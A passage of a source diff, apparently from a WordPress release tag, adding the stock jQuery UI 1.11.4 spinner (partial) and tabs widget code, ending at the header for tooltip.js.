+	_draw: function() {
+		var uiSpinner = this.uiSpinner = this.element
+			.addClass( "ui-spinner-input" )
+			.attr( "autocomplete", "off" )
+			.wrap( this._uiSpinnerHtml() )
+			.parent()
+				// add buttons
+				.append( this._buttonHtml() );
+
+		this.element.attr( "role", "spinbutton" );
+
+		// button bindings
+		this.buttons = uiSpinner.find( ".ui-spinner-button" )
+			.attr( "tabIndex", -1 )
+			.button()
+			.removeClass( "ui-corner-all" );
+
+		// IE 6 doesn't understand height: 50% for the buttons
+		// unless the wrapper has an explicit height
+		if ( this.buttons.height() > Math.ceil( uiSpinner.height() * 0.5 ) &&
+				uiSpinner.height() > 0 ) {
+			uiSpinner.height( uiSpinner.height() );
+		}
+
+		// disable spinner if element was already disabled
+		if ( this.options.disabled ) {
+			this.disable();
+		}
+	},
+
+	_keydown: function( event ) {
+		var options = this.options,
+			keyCode = $.ui.keyCode;
+
+		switch ( event.keyCode ) {
+		case keyCode.UP:
+			this._repeat( null, 1, event );
+			return true;
+		case keyCode.DOWN:
+			this._repeat( null, -1, event );
+			return true;
+		case keyCode.PAGE_UP:
+			this._repeat( null, options.page, event );
+			return true;
+		case keyCode.PAGE_DOWN:
+			this._repeat( null, -options.page, event );
+			return true;
+		}
+
+		return false;
+	},
+
+	_uiSpinnerHtml: function() {
+		return "<span class='ui-spinner ui-widget ui-widget-content ui-corner-all'></span>";
+	},
+
+	_buttonHtml: function() {
+		return "" +
+			"<a class='ui-spinner-button ui-spinner-up ui-corner-tr'>" +
+				"<span class='ui-icon " + this.options.icons.up + "'>&#9650;</span>" +
+			"</a>" +
+			"<a class='ui-spinner-button ui-spinner-down ui-corner-br'>" +
+				"<span class='ui-icon " + this.options.icons.down + "'>&#9660;</span>" +
+			"</a>";
+	},
+
+	_start: function( event ) {
+		if ( !this.spinning && this._trigger( "start", event ) === false ) {
+			return false;
+		}
+
+		if ( !this.counter ) {
+			this.counter = 1;
+		}
+		this.spinning = true;
+		return true;
+	},
+
+	_repeat: function( i, steps, event ) {
+		i = i || 500;
+
+		clearTimeout( this.timer );
+		this.timer = this._delay(function() {
+			this._repeat( 40, steps, event );
+		}, i );
+
+		this._spin( steps * this.options.step, event );
+	},
+
+	_spin: function( step, event ) {
+		var value = this.value() || 0;
+
+		if ( !this.counter ) {
+			this.counter = 1;
+		}
+
+		value = this._adjustValue( value + step * this._increment( this.counter ) );
+
+		if ( !this.spinning || this._trigger( "spin", event, { value: value } ) !== false) {
+			this._value( value );
+			this.counter++;
+		}
+	},
+
+	_increment: function( i ) {
+		var incremental = this.options.incremental;
+
+		if ( incremental ) {
+			return $.isFunction( incremental ) ?
+				incremental( i ) :
+				Math.floor( i * i * i / 50000 - i * i / 500 + 17 * i / 200 + 1 );
+		}
+
+		return 1;
+	},
+
+	_precision: function() {
+		var precision = this._precisionOf( this.options.step );
+		if ( this.options.min !== null ) {
+			precision = Math.max( precision, this._precisionOf( this.options.min ) );
+		}
+		return precision;
+	},
+
+	_precisionOf: function( num ) {
+		var str = num.toString(),
+			decimal = str.indexOf( "." );
+		return decimal === -1 ? 0 : str.length - decimal - 1;
+	},
+
+	_adjustValue: function( value ) {
+		var base, aboveMin,
+			options = this.options;
+
+		// make sure we're at a valid step
+		// - find out where we are relative to the base (min or 0)
+		base = options.min !== null ? options.min : 0;
+		aboveMin = value - base;
+		// - round to the nearest step
+		aboveMin = Math.round(aboveMin / options.step) * options.step;
+		// - rounding is based on 0, so adjust back to our base
+		value = base + aboveMin;
+
+		// fix precision from bad JS floating point math
+		value = parseFloat( value.toFixed( this._precision() ) );
+
+		// clamp the value
+		if ( options.max !== null && value > options.max) {
+			return options.max;
+		}
+		if ( options.min !== null && value < options.min ) {
+			return options.min;
+		}
+
+		return value;
+	},
+
+	_stop: function( event ) {
+		if ( !this.spinning ) {
+			return;
+		}
+
+		clearTimeout( this.timer );
+		clearTimeout( this.mousewheelTimer );
+		this.counter = 0;
+		this.spinning = false;
+		this._trigger( "stop", event );
+	},
+
+	_setOption: function( key, value ) {
+		if ( key === "culture" || key === "numberFormat" ) {
+			var prevValue = this._parse( this.element.val() );
+			this.options[ key ] = value;
+			this.element.val( this._format( prevValue ) );
+			return;
+		}
+
+		if ( key === "max" || key === "min" || key === "step" ) {
+			if ( typeof value === "string" ) {
+				value = this._parse( value );
+			}
+		}
+		if ( key === "icons" ) {
+			this.buttons.first().find( ".ui-icon" )
+				.removeClass( this.options.icons.up )
+				.addClass( value.up );
+			this.buttons.last().find( ".ui-icon" )
+				.removeClass( this.options.icons.down )
+				.addClass( value.down );
+		}
+
+		this._super( key, value );
+
+		if ( key === "disabled" ) {
+			this.widget().toggleClass( "ui-state-disabled", !!value );
+			this.element.prop( "disabled", !!value );
+			this.buttons.button( value ? "disable" : "enable" );
+		}
+	},
+
+	_setOptions: spinner_modifier(function( options ) {
+		this._super( options );
+	}),
+
+	_parse: function( val ) {
+		if ( typeof val === "string" && val !== "" ) {
+			val = window.Globalize && this.options.numberFormat ?
+				Globalize.parseFloat( val, 10, this.options.culture ) : +val;
+		}
+		return val === "" || isNaN( val ) ? null : val;
+	},
+
+	_format: function( value ) {
+		if ( value === "" ) {
+			return "";
+		}
+		return window.Globalize && this.options.numberFormat ?
+			Globalize.format( value, this.options.numberFormat, this.options.culture ) :
+			value;
+	},
+
+	_refresh: function() {
+		this.element.attr({
+			"aria-valuemin": this.options.min,
+			"aria-valuemax": this.options.max,
+			// TODO: what should we do with values that can't be parsed?
+			"aria-valuenow": this._parse( this.element.val() )
+		});
+	},
+
+	isValid: function() {
+		var value = this.value();
+
+		// null is invalid
+		if ( value === null ) {
+			return false;
+		}
+
+		// if value gets adjusted, it's invalid
+		return value === this._adjustValue( value );
+	},
+
+	// update the value without triggering change
+	_value: function( value, allowAny ) {
+		var parsed;
+		if ( value !== "" ) {
+			parsed = this._parse( value );
+			if ( parsed !== null ) {
+				if ( !allowAny ) {
+					parsed = this._adjustValue( parsed );
+				}
+				value = this._format( parsed );
+			}
+		}
+		this.element.val( value );
+		this._refresh();
+	},
+
+	_destroy: function() {
+		this.element
+			.removeClass( "ui-spinner-input" )
+			.prop( "disabled", false )
+			.removeAttr( "autocomplete" )
+			.removeAttr( "role" )
+			.removeAttr( "aria-valuemin" )
+			.removeAttr( "aria-valuemax" )
+			.removeAttr( "aria-valuenow" );
+		this.uiSpinner.replaceWith( this.element );
+	},
+
+	stepUp: spinner_modifier(function( steps ) {
+		this._stepUp( steps );
+	}),
+	_stepUp: function( steps ) {
+		if ( this._start() ) {
+			this._spin( (steps || 1) * this.options.step );
+			this._stop();
+		}
+	},
+
+	stepDown: spinner_modifier(function( steps ) {
+		this._stepDown( steps );
+	}),
+	_stepDown: function( steps ) {
+		if ( this._start() ) {
+			this._spin( (steps || 1) * -this.options.step );
+			this._stop();
+		}
+	},
+
+	pageUp: spinner_modifier(function( pages ) {
+		this._stepUp( (pages || 1) * this.options.page );
+	}),
+
+	pageDown: spinner_modifier(function( pages ) {
+		this._stepDown( (pages || 1) * this.options.page );
+	}),
+
+	value: function( newVal ) {
+		if ( !arguments.length ) {
+			return this._parse( this.element.val() );
+		}
+		spinner_modifier( this._value ).call( this, newVal );
+	},
+
+	widget: function() {
+		return this.uiSpinner;
+	}
+});
+
+}));
Index: /tags/5.0.20/src/wp-includes/js/jquery/ui/tabs.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/ui/tabs.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/ui/tabs.js	(revision 56912)
@@ -0,0 +1,886 @@
+/*!
+ * jQuery UI Tabs 1.11.4
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/tabs/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./core",
+			"./widget"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.widget( "ui.tabs", {
+	version: "1.11.4",
+	delay: 300,
+	options: {
+		active: null,
+		collapsible: false,
+		event: "click",
+		heightStyle: "content",
+		hide: null,
+		show: null,
+
+		// callbacks
+		activate: null,
+		beforeActivate: null,
+		beforeLoad: null,
+		load: null
+	},
+
+	_isLocal: (function() {
+		var rhash = /#.*$/;
+
+		return function( anchor ) {
+			var anchorUrl, locationUrl;
+
+			// support: IE7
+			// IE7 doesn't normalize the href property when set via script (#9317)
+			anchor = anchor.cloneNode( false );
+
+			anchorUrl = anchor.href.replace( rhash, "" );
+			locationUrl = location.href.replace( rhash, "" );
+
+			// decoding may throw an error if the URL isn't UTF-8 (#9518)
+			try {
+				anchorUrl = decodeURIComponent( anchorUrl );
+			} catch ( error ) {}
+			try {
+				locationUrl = decodeURIComponent( locationUrl );
+			} catch ( error ) {}
+
+			return anchor.hash.length > 1 && anchorUrl === locationUrl;
+		};
+	})(),
+
+	_create: function() {
+		var that = this,
+			options = this.options;
+
+		this.running = false;
+
+		this.element
+			.addClass( "ui-tabs ui-widget ui-widget-content ui-corner-all" )
+			.toggleClass( "ui-tabs-collapsible", options.collapsible );
+
+		this._processTabs();
+		options.active = this._initialActive();
+
+		// Take disabling tabs via class attribute from HTML
+		// into account and update option properly.
+		if ( $.isArray( options.disabled ) ) {
+			options.disabled = $.unique( options.disabled.concat(
+				$.map( this.tabs.filter( ".ui-state-disabled" ), function( li ) {
+					return that.tabs.index( li );
+				})
+			) ).sort();
+		}
+
+		// check for length avoids error when initializing empty list
+		if ( this.options.active !== false && this.anchors.length ) {
+			this.active = this._findActive( options.active );
+		} else {
+			this.active = $();
+		}
+
+		this._refresh();
+
+		if ( this.active.length ) {
+			this.load( options.active );
+		}
+	},
+
+	_initialActive: function() {
+		var active = this.options.active,
+			collapsible = this.options.collapsible,
+			locationHash = location.hash.substring( 1 );
+
+		if ( active === null ) {
+			// check the fragment identifier in the URL
+			if ( locationHash ) {
+				this.tabs.each(function( i, tab ) {
+					if ( $( tab ).attr( "aria-controls" ) === locationHash ) {
+						active = i;
+						return false;
+					}
+				});
+			}
+
+			// check for a tab marked active via a class
+			if ( active === null ) {
+				active = this.tabs.index( this.tabs.filter( ".ui-tabs-active" ) );
+			}
+
+			// no active tab, set to false
+			if ( active === null || active === -1 ) {
+				active = this.tabs.length ? 0 : false;
+			}
+		}
+
+		// handle numbers: negative, out of range
+		if ( active !== false ) {
+			active = this.tabs.index( this.tabs.eq( active ) );
+			if ( active === -1 ) {
+				active = collapsible ? false : 0;
+			}
+		}
+
+		// don't allow collapsible: false and active: false
+		if ( !collapsible && active === false && this.anchors.length ) {
+			active = 0;
+		}
+
+		return active;
+	},
+
+	_getCreateEventData: function() {
+		return {
+			tab: this.active,
+			panel: !this.active.length ? $() : this._getPanelForTab( this.active )
+		};
+	},
+
+	_tabKeydown: function( event ) {
+		var focusedTab = $( this.document[0].activeElement ).closest( "li" ),
+			selectedIndex = this.tabs.index( focusedTab ),
+			goingForward = true;
+
+		if ( this._handlePageNav( event ) ) {
+			return;
+		}
+
+		switch ( event.keyCode ) {
+			case $.ui.keyCode.RIGHT:
+			case $.ui.keyCode.DOWN:
+				selectedIndex++;
+				break;
+			case $.ui.keyCode.UP:
+			case $.ui.keyCode.LEFT:
+				goingForward = false;
+				selectedIndex--;
+				break;
+			case $.ui.keyCode.END:
+				selectedIndex = this.anchors.length - 1;
+				break;
+			case $.ui.keyCode.HOME:
+				selectedIndex = 0;
+				break;
+			case $.ui.keyCode.SPACE:
+				// Activate only, no collapsing
+				event.preventDefault();
+				clearTimeout( this.activating );
+				this._activate( selectedIndex );
+				return;
+			case $.ui.keyCode.ENTER:
+				// Toggle (cancel delayed activation, allow collapsing)
+				event.preventDefault();
+				clearTimeout( this.activating );
+				// Determine if we should collapse or activate
+				this._activate( selectedIndex === this.options.active ? false : selectedIndex );
+				return;
+			default:
+				return;
+		}
+
+		// Focus the appropriate tab, based on which key was pressed
+		event.preventDefault();
+		clearTimeout( this.activating );
+		selectedIndex = this._focusNextTab( selectedIndex, goingForward );
+
+		// Navigating with control/command key will prevent automatic activation
+		if ( !event.ctrlKey && !event.metaKey ) {
+
+			// Update aria-selected immediately so that AT think the tab is already selected.
+			// Otherwise AT may confuse the user by stating that they need to activate the tab,
+			// but the tab will already be activated by the time the announcement finishes.
+			focusedTab.attr( "aria-selected", "false" );
+			this.tabs.eq( selectedIndex ).attr( "aria-selected", "true" );
+
+			this.activating = this._delay(function() {
+				this.option( "active", selectedIndex );
+			}, this.delay );
+		}
+	},
+
+	_panelKeydown: function( event ) {
+		if ( this._handlePageNav( event ) ) {
+			return;
+		}
+
+		// Ctrl+up moves focus to the current tab
+		if ( event.ctrlKey && event.keyCode === $.ui.keyCode.UP ) {
+			event.preventDefault();
+			this.active.focus();
+		}
+	},
+
+	// Alt+page up/down moves focus to the previous/next tab (and activates)
+	_handlePageNav: function( event ) {
+		if ( event.altKey && event.keyCode === $.ui.keyCode.PAGE_UP ) {
+			this._activate( this._focusNextTab( this.options.active - 1, false ) );
+			return true;
+		}
+		if ( event.altKey && event.keyCode === $.ui.keyCode.PAGE_DOWN ) {
+			this._activate( this._focusNextTab( this.options.active + 1, true ) );
+			return true;
+		}
+	},
+
+	_findNextTab: function( index, goingForward ) {
+		var lastTabIndex = this.tabs.length - 1;
+
+		function constrain() {
+			if ( index > lastTabIndex ) {
+				index = 0;
+			}
+			if ( index < 0 ) {
+				index = lastTabIndex;
+			}
+			return index;
+		}
+
+		while ( $.inArray( constrain(), this.options.disabled ) !== -1 ) {
+			index = goingForward ? index + 1 : index - 1;
+		}
+
+		return index;
+	},
+
+	_focusNextTab: function( index, goingForward ) {
+		index = this._findNextTab( index, goingForward );
+		this.tabs.eq( index ).focus();
+		return index;
+	},
+
+	_setOption: function( key, value ) {
+		if ( key === "active" ) {
+			// _activate() will handle invalid values and update this.options
+			this._activate( value );
+			return;
+		}
+
+		if ( key === "disabled" ) {
+			// don't use the widget factory's disabled handling
+			this._setupDisabled( value );
+			return;
+		}
+
+		this._super( key, value);
+
+		if ( key === "collapsible" ) {
+			this.element.toggleClass( "ui-tabs-collapsible", value );
+			// Setting collapsible: false while collapsed; open first panel
+			if ( !value && this.options.active === false ) {
+				this._activate( 0 );
+			}
+		}
+
+		if ( key === "event" ) {
+			this._setupEvents( value );
+		}
+
+		if ( key === "heightStyle" ) {
+			this._setupHeightStyle( value );
+		}
+	},
+
+	_sanitizeSelector: function( hash ) {
+		return hash ? hash.replace( /[!"$%&'()*+,.\/:;<=>?@\[\]\^`{|}~]/g, "\\$&" ) : "";
+	},
+
+	refresh: function() {
+		var options = this.options,
+			lis = this.tablist.children( ":has(a[href])" );
+
+		// get disabled tabs from class attribute from HTML
+		// this will get converted to a boolean if needed in _refresh()
+		options.disabled = $.map( lis.filter( ".ui-state-disabled" ), function( tab ) {
+			return lis.index( tab );
+		});
+
+		this._processTabs();
+
+		// was collapsed or no tabs
+		if ( options.active === false || !this.anchors.length ) {
+			options.active = false;
+			this.active = $();
+		// was active, but active tab is gone
+		} else if ( this.active.length && !$.contains( this.tablist[ 0 ], this.active[ 0 ] ) ) {
+			// all remaining tabs are disabled
+			if ( this.tabs.length === options.disabled.length ) {
+				options.active = false;
+				this.active = $();
+			// activate previous tab
+			} else {
+				this._activate( this._findNextTab( Math.max( 0, options.active - 1 ), false ) );
+			}
+		// was active, active tab still exists
+		} else {
+			// make sure active index is correct
+			options.active = this.tabs.index( this.active );
+		}
+
+		this._refresh();
+	},
+
+	_refresh: function() {
+		this._setupDisabled( this.options.disabled );
+		this._setupEvents( this.options.event );
+		this._setupHeightStyle( this.options.heightStyle );
+
+		this.tabs.not( this.active ).attr({
+			"aria-selected": "false",
+			"aria-expanded": "false",
+			tabIndex: -1
+		});
+		this.panels.not( this._getPanelForTab( this.active ) )
+			.hide()
+			.attr({
+				"aria-hidden": "true"
+			});
+
+		// Make sure one tab is in the tab order
+		if ( !this.active.length ) {
+			this.tabs.eq( 0 ).attr( "tabIndex", 0 );
+		} else {
+			this.active
+				.addClass( "ui-tabs-active ui-state-active" )
+				.attr({
+					"aria-selected": "true",
+					"aria-expanded": "true",
+					tabIndex: 0
+				});
+			this._getPanelForTab( this.active )
+				.show()
+				.attr({
+					"aria-hidden": "false"
+				});
+		}
+	},
+
+	_processTabs: function() {
+		var that = this,
+			prevTabs = this.tabs,
+			prevAnchors = this.anchors,
+			prevPanels = this.panels;
+
+		this.tablist = this._getList()
+			.addClass( "ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all" )
+			.attr( "role", "tablist" )
+
+			// Prevent users from focusing disabled tabs via click
+			.delegate( "> li", "mousedown" + this.eventNamespace, function( event ) {
+				if ( $( this ).is( ".ui-state-disabled" ) ) {
+					event.preventDefault();
+				}
+			})
+
+			// support: IE <9
+			// Preventing the default action in mousedown doesn't prevent IE
+			// from focusing the element, so if the anchor gets focused, blur.
+			// We don't have to worry about focusing the previously focused
+			// element since clicking on a non-focusable element should focus
+			// the body anyway.
+			.delegate( ".ui-tabs-anchor", "focus" + this.eventNamespace, function() {
+				if ( $( this ).closest( "li" ).is( ".ui-state-disabled" ) ) {
+					this.blur();
+				}
+			});
+
+		this.tabs = this.tablist.find( "> li:has(a[href])" )
+			.addClass( "ui-state-default ui-corner-top" )
+			.attr({
+				role: "tab",
+				tabIndex: -1
+			});
+
+		this.anchors = this.tabs.map(function() {
+				return $( "a", this )[ 0 ];
+			})
+			.addClass( "ui-tabs-anchor" )
+			.attr({
+				role: "presentation",
+				tabIndex: -1
+			});
+
+		this.panels = $();
+
+		this.anchors.each(function( i, anchor ) {
+			var selector, panel, panelId,
+				anchorId = $( anchor ).uniqueId().attr( "id" ),
+				tab = $( anchor ).closest( "li" ),
+				originalAriaControls = tab.attr( "aria-controls" );
+
+			// inline tab
+			if ( that._isLocal( anchor ) ) {
+				selector = anchor.hash;
+				panelId = selector.substring( 1 );
+				panel = that.element.find( that._sanitizeSelector( selector ) );
+			// remote tab
+			} else {
+				// If the tab doesn't already have aria-controls,
+				// generate an id by using a throw-away element
+				panelId = tab.attr( "aria-controls" ) || $( {} ).uniqueId()[ 0 ].id;
+				selector = "#" + panelId;
+				panel = that.element.find( selector );
+				if ( !panel.length ) {
+					panel = that._createPanel( panelId );
+					panel.insertAfter( that.panels[ i - 1 ] || that.tablist );
+				}
+				panel.attr( "aria-live", "polite" );
+			}
+
+			if ( panel.length) {
+				that.panels = that.panels.add( panel );
+			}
+			if ( originalAriaControls ) {
+				tab.data( "ui-tabs-aria-controls", originalAriaControls );
+			}
+			tab.attr({
+				"aria-controls": panelId,
+				"aria-labelledby": anchorId
+			});
+			panel.attr( "aria-labelledby", anchorId );
+		});
+
+		this.panels
+			.addClass( "ui-tabs-panel ui-widget-content ui-corner-bottom" )
+			.attr( "role", "tabpanel" );
+
+		// Avoid memory leaks (#10056)
+		if ( prevTabs ) {
+			this._off( prevTabs.not( this.tabs ) );
+			this._off( prevAnchors.not( this.anchors ) );
+			this._off( prevPanels.not( this.panels ) );
+		}
+	},
+
+	// allow overriding how to find the list for rare usage scenarios (#7715)
+	_getList: function() {
+		return this.tablist || this.element.find( "ol,ul" ).eq( 0 );
+	},
+
+	_createPanel: function( id ) {
+		return $( "<div>" )
+			.attr( "id", id )
+			.addClass( "ui-tabs-panel ui-widget-content ui-corner-bottom" )
+			.data( "ui-tabs-destroy", true );
+	},
+
+	_setupDisabled: function( disabled ) {
+		if ( $.isArray( disabled ) ) {
+			if ( !disabled.length ) {
+				disabled = false;
+			} else if ( disabled.length === this.anchors.length ) {
+				disabled = true;
+			}
+		}
+
+		// disable tabs
+		for ( var i = 0, li; ( li = this.tabs[ i ] ); i++ ) {
+			if ( disabled === true || $.inArray( i, disabled ) !== -1 ) {
+				$( li )
+					.addClass( "ui-state-disabled" )
+					.attr( "aria-disabled", "true" );
+			} else {
+				$( li )
+					.removeClass( "ui-state-disabled" )
+					.removeAttr( "aria-disabled" );
+			}
+		}
+
+		this.options.disabled = disabled;
+	},
+
+	_setupEvents: function( event ) {
+		var events = {};
+		if ( event ) {
+			$.each( event.split(" "), function( index, eventName ) {
+				events[ eventName ] = "_eventHandler";
+			});
+		}
+
+		this._off( this.anchors.add( this.tabs ).add( this.panels ) );
+		// Always prevent the default action, even when disabled
+		this._on( true, this.anchors, {
+			click: function( event ) {
+				event.preventDefault();
+			}
+		});
+		this._on( this.anchors, events );
+		this._on( this.tabs, { keydown: "_tabKeydown" } );
+		this._on( this.panels, { keydown: "_panelKeydown" } );
+
+		this._focusable( this.tabs );
+		this._hoverable( this.tabs );
+	},
+
+	_setupHeightStyle: function( heightStyle ) {
+		var maxHeight,
+			parent = this.element.parent();
+
+		if ( heightStyle === "fill" ) {
+			maxHeight = parent.height();
+			maxHeight -= this.element.outerHeight() - this.element.height();
+
+			this.element.siblings( ":visible" ).each(function() {
+				var elem = $( this ),
+					position = elem.css( "position" );
+
+				if ( position === "absolute" || position === "fixed" ) {
+					return;
+				}
+				maxHeight -= elem.outerHeight( true );
+			});
+
+			this.element.children().not( this.panels ).each(function() {
+				maxHeight -= $( this ).outerHeight( true );
+			});
+
+			this.panels.each(function() {
+				$( this ).height( Math.max( 0, maxHeight -
+					$( this ).innerHeight() + $( this ).height() ) );
+			})
+			.css( "overflow", "auto" );
+		} else if ( heightStyle === "auto" ) {
+			maxHeight = 0;
+			this.panels.each(function() {
+				maxHeight = Math.max( maxHeight, $( this ).height( "" ).height() );
+			}).height( maxHeight );
+		}
+	},
+
+	_eventHandler: function( event ) {
+		var options = this.options,
+			active = this.active,
+			anchor = $( event.currentTarget ),
+			tab = anchor.closest( "li" ),
+			clickedIsActive = tab[ 0 ] === active[ 0 ],
+			collapsing = clickedIsActive && options.collapsible,
+			toShow = collapsing ? $() : this._getPanelForTab( tab ),
+			toHide = !active.length ? $() : this._getPanelForTab( active ),
+			eventData = {
+				oldTab: active,
+				oldPanel: toHide,
+				newTab: collapsing ? $() : tab,
+				newPanel: toShow
+			};
+
+		event.preventDefault();
+
+		if ( tab.hasClass( "ui-state-disabled" ) ||
+				// tab is already loading
+				tab.hasClass( "ui-tabs-loading" ) ||
+				// can't switch durning an animation
+				this.running ||
+				// click on active header, but not collapsible
+				( clickedIsActive && !options.collapsible ) ||
+				// allow canceling activation
+				( this._trigger( "beforeActivate", event, eventData ) === false ) ) {
+			return;
+		}
+
+		options.active = collapsing ? false : this.tabs.index( tab );
+
+		this.active = clickedIsActive ? $() : tab;
+		if ( this.xhr ) {
+			this.xhr.abort();
+		}
+
+		if ( !toHide.length && !toShow.length ) {
+			$.error( "jQuery UI Tabs: Mismatching fragment identifier." );
+		}
+
+		if ( toShow.length ) {
+			this.load( this.tabs.index( tab ), event );
+		}
+		this._toggle( event, eventData );
+	},
+
+	// handles show/hide for selecting tabs
+	_toggle: function( event, eventData ) {
+		var that = this,
+			toShow = eventData.newPanel,
+			toHide = eventData.oldPanel;
+
+		this.running = true;
+
+		function complete() {
+			that.running = false;
+			that._trigger( "activate", event, eventData );
+		}
+
+		function show() {
+			eventData.newTab.closest( "li" ).addClass( "ui-tabs-active ui-state-active" );
+
+			if ( toShow.length && that.options.show ) {
+				that._show( toShow, that.options.show, complete );
+			} else {
+				toShow.show();
+				complete();
+			}
+		}
+
+		// start out by hiding, then showing, then completing
+		if ( toHide.length && this.options.hide ) {
+			this._hide( toHide, this.options.hide, function() {
+				eventData.oldTab.closest( "li" ).removeClass( "ui-tabs-active ui-state-active" );
+				show();
+			});
+		} else {
+			eventData.oldTab.closest( "li" ).removeClass( "ui-tabs-active ui-state-active" );
+			toHide.hide();
+			show();
+		}
+
+		toHide.attr( "aria-hidden", "true" );
+		eventData.oldTab.attr({
+			"aria-selected": "false",
+			"aria-expanded": "false"
+		});
+		// If we're switching tabs, remove the old tab from the tab order.
+		// If we're opening from collapsed state, remove the previous tab from the tab order.
+		// If we're collapsing, then keep the collapsing tab in the tab order.
+		if ( toShow.length && toHide.length ) {
+			eventData.oldTab.attr( "tabIndex", -1 );
+		} else if ( toShow.length ) {
+			this.tabs.filter(function() {
+				return $( this ).attr( "tabIndex" ) === 0;
+			})
+			.attr( "tabIndex", -1 );
+		}
+
+		toShow.attr( "aria-hidden", "false" );
+		eventData.newTab.attr({
+			"aria-selected": "true",
+			"aria-expanded": "true",
+			tabIndex: 0
+		});
+	},
+
+	_activate: function( index ) {
+		var anchor,
+			active = this._findActive( index );
+
+		// trying to activate the already active panel
+		if ( active[ 0 ] === this.active[ 0 ] ) {
+			return;
+		}
+
+		// trying to collapse, simulate a click on the current active header
+		if ( !active.length ) {
+			active = this.active;
+		}
+
+		anchor = active.find( ".ui-tabs-anchor" )[ 0 ];
+		this._eventHandler({
+			target: anchor,
+			currentTarget: anchor,
+			preventDefault: $.noop
+		});
+	},
+
+	_findActive: function( index ) {
+		return index === false ? $() : this.tabs.eq( index );
+	},
+
+	_getIndex: function( index ) {
+		// meta-function to give users option to provide a href string instead of a numerical index.
+		if ( typeof index === "string" ) {
+			index = this.anchors.index( this.anchors.filter( "[href$='" + index + "']" ) );
+		}
+
+		return index;
+	},
+
+	_destroy: function() {
+		if ( this.xhr ) {
+			this.xhr.abort();
+		}
+
+		this.element.removeClass( "ui-tabs ui-widget ui-widget-content ui-corner-all ui-tabs-collapsible" );
+
+		this.tablist
+			.removeClass( "ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all" )
+			.removeAttr( "role" );
+
+		this.anchors
+			.removeClass( "ui-tabs-anchor" )
+			.removeAttr( "role" )
+			.removeAttr( "tabIndex" )
+			.removeUniqueId();
+
+		this.tablist.unbind( this.eventNamespace );
+
+		this.tabs.add( this.panels ).each(function() {
+			if ( $.data( this, "ui-tabs-destroy" ) ) {
+				$( this ).remove();
+			} else {
+				$( this )
+					.removeClass( "ui-state-default ui-state-active ui-state-disabled " +
+						"ui-corner-top ui-corner-bottom ui-widget-content ui-tabs-active ui-tabs-panel" )
+					.removeAttr( "tabIndex" )
+					.removeAttr( "aria-live" )
+					.removeAttr( "aria-busy" )
+					.removeAttr( "aria-selected" )
+					.removeAttr( "aria-labelledby" )
+					.removeAttr( "aria-hidden" )
+					.removeAttr( "aria-expanded" )
+					.removeAttr( "role" );
+			}
+		});
+
+		this.tabs.each(function() {
+			var li = $( this ),
+				prev = li.data( "ui-tabs-aria-controls" );
+			if ( prev ) {
+				li
+					.attr( "aria-controls", prev )
+					.removeData( "ui-tabs-aria-controls" );
+			} else {
+				li.removeAttr( "aria-controls" );
+			}
+		});
+
+		this.panels.show();
+
+		if ( this.options.heightStyle !== "content" ) {
+			this.panels.css( "height", "" );
+		}
+	},
+
+	enable: function( index ) {
+		var disabled = this.options.disabled;
+		if ( disabled === false ) {
+			return;
+		}
+
+		if ( index === undefined ) {
+			disabled = false;
+		} else {
+			index = this._getIndex( index );
+			if ( $.isArray( disabled ) ) {
+				disabled = $.map( disabled, function( num ) {
+					return num !== index ? num : null;
+				});
+			} else {
+				disabled = $.map( this.tabs, function( li, num ) {
+					return num !== index ? num : null;
+				});
+			}
+		}
+		this._setupDisabled( disabled );
+	},
+
+	disable: function( index ) {
+		var disabled = this.options.disabled;
+		if ( disabled === true ) {
+			return;
+		}
+
+		if ( index === undefined ) {
+			disabled = true;
+		} else {
+			index = this._getIndex( index );
+			if ( $.inArray( index, disabled ) !== -1 ) {
+				return;
+			}
+			if ( $.isArray( disabled ) ) {
+				disabled = $.merge( [ index ], disabled ).sort();
+			} else {
+				disabled = [ index ];
+			}
+		}
+		this._setupDisabled( disabled );
+	},
+
+	load: function( index, event ) {
+		index = this._getIndex( index );
+		var that = this,
+			tab = this.tabs.eq( index ),
+			anchor = tab.find( ".ui-tabs-anchor" ),
+			panel = this._getPanelForTab( tab ),
+			eventData = {
+				tab: tab,
+				panel: panel
+			},
+			complete = function( jqXHR, status ) {
+				if ( status === "abort" ) {
+					that.panels.stop( false, true );
+				}
+
+				tab.removeClass( "ui-tabs-loading" );
+				panel.removeAttr( "aria-busy" );
+
+				if ( jqXHR === that.xhr ) {
+					delete that.xhr;
+				}
+			};
+
+		// not remote
+		if ( this._isLocal( anchor[ 0 ] ) ) {
+			return;
+		}
+
+		this.xhr = $.ajax( this._ajaxSettings( anchor, event, eventData ) );
+
+		// support: jQuery <1.8
+		// jQuery <1.8 returns false if the request is canceled in beforeSend,
+		// but as of 1.8, $.ajax() always returns a jqXHR object.
+		if ( this.xhr && this.xhr.statusText !== "canceled" ) {
+			tab.addClass( "ui-tabs-loading" );
+			panel.attr( "aria-busy", "true" );
+
+			this.xhr
+				.done(function( response, status, jqXHR ) {
+					// support: jQuery <1.8
+					// http://bugs.jquery.com/ticket/11778
+					setTimeout(function() {
+						panel.html( response );
+						that._trigger( "load", event, eventData );
+
+						complete( jqXHR, status );
+					}, 1 );
+				})
+				.fail(function( jqXHR, status ) {
+					// support: jQuery <1.8
+					// http://bugs.jquery.com/ticket/11778
+					setTimeout(function() {
+						complete( jqXHR, status );
+					}, 1 );
+				});
+		}
+	},
+
+	_ajaxSettings: function( anchor, event, eventData ) {
+		var that = this;
+		return {
+			url: anchor.attr( "href" ),
+			beforeSend: function( jqXHR, settings ) {
+				return that._trigger( "beforeLoad", event,
+					$.extend( { jqXHR: jqXHR, ajaxSettings: settings }, eventData ) );
+			}
+		};
+	},
+
+	_getPanelForTab: function( tab ) {
+		var id = $( tab ).attr( "aria-controls" );
+		return this.element.find( this._sanitizeSelector( "#" + id ) );
+	}
+});
+
+}));
Index: /tags/5.0.20/src/wp-includes/js/jquery/ui/tooltip.js
===================================================================
